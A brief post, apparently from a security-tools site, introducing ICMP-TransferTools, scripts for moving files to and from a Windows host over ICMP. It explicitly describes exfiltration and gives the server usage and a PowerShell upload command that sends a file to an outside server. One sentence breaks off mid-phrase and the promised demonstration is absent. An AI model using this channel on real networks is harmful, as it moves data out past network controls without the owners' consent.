ICMP-TransferTools – Transfer Files To And From A Windows Host Via ICMP In Restricted Network Environments

ICMP-TransferTools is a set of

Upload via ICMP

The included ICMP-ReceiveFile.py and Invoke-IcmpUpload.ps1 scripts can be used to upload/exfiltrate a file from a Windows host via ICMP.

The python server must be run first to ensure it’s ready to accept requests from the client. See below for the script’s usage:

usage: ICMP-ReceiveFile.py [-h] src file

ICYGUIDER'S ICMP FILE UPLOAD SERVER

positional arguments:
  src         Public IP Address of client
  file        File to write data to

optional arguments:
  -h, --help  show this help message and exit

Once imported, the powershell client can then be used to upload the desired file like so:

Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload

See below for a quick demonstration: